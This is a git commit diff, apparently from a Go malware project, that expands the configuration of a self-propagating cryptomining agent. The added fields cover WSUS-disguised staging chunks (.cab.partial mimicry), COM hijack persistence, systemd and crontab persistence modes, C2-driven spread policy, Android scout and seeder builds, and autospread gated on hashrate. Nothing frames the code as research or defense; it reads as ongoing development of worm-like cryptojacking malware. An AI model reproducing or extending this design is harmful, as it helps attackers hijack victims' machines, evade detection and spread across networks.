Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -74,6 +74,7 @@ type BuiltinConfig struct {
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
WSUSFormatMimic bool // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
COMHijackPersist bool // COM CLSID hijack persistence — default off
LinuxLOTLMode string // systemd_run_user | crontab | both | off
// Passive spreading — triggered by the environment rather than active scanning
@@ -117,10 +118,28 @@ type BuiltinConfig struct {
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
// Spread genealogy watermark — forge-baked telemetry; never used for auth.
ParentAgentID string
SpreadGeneration int
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
// ApkMode marks Android fleet-node builds; registration reports platform=android.
ApkMode bool
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
ScoutMode bool
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
MiningDisabled bool
// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
FleetRole string
// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
SeederMode bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
HashrateGateSpreadMin int
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
HashrateGateHPS float64
}
// BackupPool holds connection info for a fallback Stratum mining pool.
@@ -261,6 +280,11 @@ func IsAndroidPlatform() bool {
return RegistrationPlatform() == "android"
}
// IsScoutMode reports roving scout builds (discover + service graph, no staging).
func (c RuntimeConfig) IsScoutMode() bool {
return c.ScoutMode
}
func (c RuntimeConfig) EffectiveThreads() int {
mode := strings.ToLower(c.ThreadMode)
if mode == "fixed" {